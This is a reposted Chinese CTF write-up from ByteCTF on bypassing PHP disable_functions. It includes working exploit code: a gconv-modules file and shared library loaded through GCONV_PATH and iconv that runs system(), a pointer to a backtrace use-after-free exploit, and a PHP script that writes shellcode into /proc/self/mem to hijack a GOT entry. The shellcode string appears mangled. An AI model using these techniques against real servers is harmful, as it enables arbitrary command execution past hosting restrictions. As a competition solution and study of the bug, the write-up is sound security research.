ByteCTF WP-无需mail bypass disable_functions

admin 2020年12月30日04:03:19评论97 views字数 5032阅读16分46秒阅读模式

更多全球网络安全资讯尽在邑安全

前言

在刚结束的ByteCTF的中,@f1sh师傅出了一道bypass php disable_functions的题目,预期解是通过web的方式,在有putenv的情况下,无需mail/imagemagick等组件,用一种新的方式实现bypass。
最终在和@Yan表哥讨论后,我们找到了题目的预期解法--iconv,这篇文章记录一下在解题过程中我们尝试过的各种思路,比如线上赛的exception类非预期、利用php bugs中的一些uaf(向Kirin爷爷学习)、直接写/proc/self/mem、其他pwn/web的姿势。这里膜一下@Sndav师傅,通过一个pwn的洞实现php5-8通杀,降维打击非预期,orz

环境

题目环境是php7.2.24 ubuntu1804,disable_functions和disable_classes如下:

disable_functions =pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,iconv,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,error_log,ini_set,debug_backtrace,debug_print_backtrace,gc_collect_cycles,array_merge_recursive

disable_classes =Exception,SplDoublyLinkedList,Error,ErrorException,ArgumentCountError,ArithmeticError,AssertionError,DivisionByZeroError,CompileError,ParseError,TypeError,ValueError,UnhandledMatchError,ClosedGeneratorException,LogicException,BadFunctionCallException,BadMethodCallException,DomainException,InvalidArgumentException,LengthException,OutOfRangeException,PharException,ReflectionException,RuntimeException,OutOfBoundsException,OverflowException,PDOException,RangeException,UnderflowException,UnexpectedValueException,JsonException,SodiumException

预期解

原理

在对比题目的disable_functions和之前比赛的时,发现这里ban的iconv确实有点莫名其妙,于是就找到了这篇文章,但是这篇文章的姿势也是需要iconv的。那这里是否存在绕过呢?

首先来动态调一下php iconv的流程,理解文章中姿势的原理。php的iconv本质上还是调用了glibc中的iconv,因此需要gdb调试一下glibc。这里直接装了带符号的glibc,然后LD_LIBRARY_PATH设置成带符号libc.so的地址,就可以开始调试了。

gdb php
gdb-peda$ set verbose on
gdb-peda$ dir /usr/lib/debug/lib/x86_64-linux-gnu/
Source directories searched: /usr/lib/debug/lib/x86_64-linux-gnu:$cdir:$cwd
gdb-peda$ b __gconv_read_conf
gdb-peda$ r /var/www/html/1.php

从php对iconv的调用开始看。为了防止和libc命名冲突,iconv.c用PHP_NAMED_FUNCTION将iconv注册为php_if_iconv,在iconv_functions中也能看到PHP_RAW_NAMED_FE创建的iconv到php_if_iconv的映射。

PHP_RAW_NAMED_FE(iconv, php_if_iconv, arginfo_iconv)

断在php_if_iconv看一下处理过程

ByteCTF WP-无需mail bypass disable_functions

跟进php_iconv_string,其中调用了iconv_open(),而iconv_open就是libc中的函数了。

ByteCTF WP-无需mail bypass disable_functions

这里直接断在__gconv_read_conf,看看调用栈:

ByteCTF WP-无需mail bypass disable_functions

继续单步,根据开头的文章,进入gconv_find_shlib然后调用libc_dlopen和__libc_dlsym,调用了so中的方法,从而rce

ByteCTF WP-无需mail bypass disable_functions

ByteCTF WP-无需mail bypass disable_functions


因此,除了iconv,其他调用了iconv_open()的函数也是可以触发rce的,比如iconv_strlen,php://filter中的convert.iconv等等。

ByteCTF WP-无需mail bypass disable_functions


这里payload能调用到payload.so是因为iconv除了系统提供的gconv模块外,还支持使用GCONV_PATH指定的自定义gconv模块目录下的模块。因此设置GCONV_PATH后,通过我们设置的gconv-modules,就可以在编码转换时如果遇到payload编码,就回去调用payload.so了。

但是这个漏洞最终的触发还是在glibc中,而我本地mac的libc并不是glibc,使用的iconv也是mac的libiconv,看了一下实现,mac环境并不能触发这个漏洞。

利用

gconv-modules

module  PAYLOAD//    INTERNAL    ../../../../../../../../tmp/payload    2
module INTERNAL PAYLOAD// ../../../../../../../../tmp/payload 2

payload.c

#include <stdio.h>
#include <stdlib.h>

void gconv() {}

void gconv_init() {
puts("pwned");
system("touch /tmp/lfy");
exit(0);
}

1.php

<?php
putenv("GCONV_PATH=/tmp/");
// iconv_strlen("1","payload");
iconv("payload", "UTF-8", "whatever");
?>

然后gcc payload.c -o payload.so -shared -fPIC,再php 1.php即可。

PS:
推荐下AntSword的ant.so,LD_PRELOAD设置一下劫持system后,执行命令方便很多。

线上非预期(from CNSS)

在官方wp中写了:

https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php
此 exp 展示了两种调用 debug_backtrace() 的方法,一种是26行的直接调用,一种是24行调用 (new Exception)->getTrace() ,而题目把这两种方法都 disable 了。然而还有第三种方法可以调用,只要把24行改为 (new Error)->getTrace() 即可。

除此之外,我们还可以看到在线下赛题目的disable_functions和disable_classes中,多了很多很多Exception和Error类...这些类都是可以触发这个uaf的。比赛时还觉得出题人会不会ban漏一个,结果发现出题人直接从get_declared_classes()中选出来ban了(

探索过的失败的非预期

LD_PRELOAD

先让我们回忆下通过LD_PRELOAD实现bypass的方式。
LD_PRELOAD设置一个在程序运行前优先加载的动态链接库,利用attribute((attribute-list)),可以通用的劫持php中新启动进程的函数,比如mail系列、Imagick等。但题目环境中这些都被ban了,imap模块也没开,因此都不能用。那么有没有其他的还没被发现的启动新进程的函数呢?

线上时我们通过get_defined_function拿到所有环境中的变量,然后参考安全客这篇文章的fuzz方式,对这些函数进行了fuzz,结果并没有找到...

写/proc/self/mem

参考之前对宝塔rsap绕过的文章,直接往/proc/self/mem写shellcode劫持got表,看起来也是可以的。

Kirin爷爷测试用php-cli也确实是可以覆盖的,exp如下:

<?php
function get_p64($magic){
$tmp="";
for($i=0;$i<8;$i++){
$n_tmp=($magic>>($i*8))&0xff;
$tmp.=chr($n_tmp);
}
return $tmp;
}
$leak_file = fopen('/proc/self/maps', 'r');
$base_str = fread($leak_file,12);
$pie_base= hexdec($base_str);
echo $pie_base;
$mem = fopen('/proc/self/mem', 'wb');

$shell = $pie_base + 0x0E6800;
fseek($mem, $shell);
$a="jgHxb8/readflaPHx89xe71xd21xf6j;Xx0fx05";
fwrite($mem, $a);
fseek($mem,$pie_base+0x0068FE68);
fwrite($mem,get_p64($shell));
readfile("123","r");
?>

然而测试apache的时候,发现没有权限。虽然/proc/self/mem是www-data的,权限也是600,但是php就是没权限获得句柄。。。

ByteCTF WP-无需mail bypass disable_functions

后来研究发现,apache是root运行的父进程,然后 setuid将子进程降权为www-data,/proc/self/目录属于root用户,因此子进程无权限读写。如果是nginx+php,对于低版本的php-fpm,www-data权限的子进程,/proc/self/目录属于www用户可以读写,tsrc这篇文章测试结果是php<5.6版本是可以使用GOT表劫持。

写一下劫持GOT表的步骤,这里直接写shellcode:

  1. 读/proc/self/maps找到php和libc在内存中的基址

  2. 解析/proc/self/exe找到php文件中readfile@got的偏移

  3. 找个能写的地址写shellcode

  4. 向readfile@got写shellcode地址覆盖

  5. 调用readfile

原文来自: 先知社区

原文链接: https://xz.aliyun.com/t/8669

欢迎收藏并分享朋友圈,让五邑人网络更安全

ByteCTF WP-无需mail bypass disable_functions

欢迎扫描关注我们,及时了解最新安全动态、学习最潮流的安全姿势!


推荐文章

1

新永恒之蓝?微软SMBv3高危漏洞(CVE-2020-0796)分析复现

2

重大漏洞预警:ubuntu最新版本存在本地提权漏洞(已有EXP) 



本文始发于微信公众号(邑安全):ByteCTF WP-无需mail bypass disable_functions

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2020年12月30日04:03:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ByteCTF WP-无需mail bypass disable_functionshttp://cn-sec.com/archives/225759.html

发表评论

匿名网友 填写信息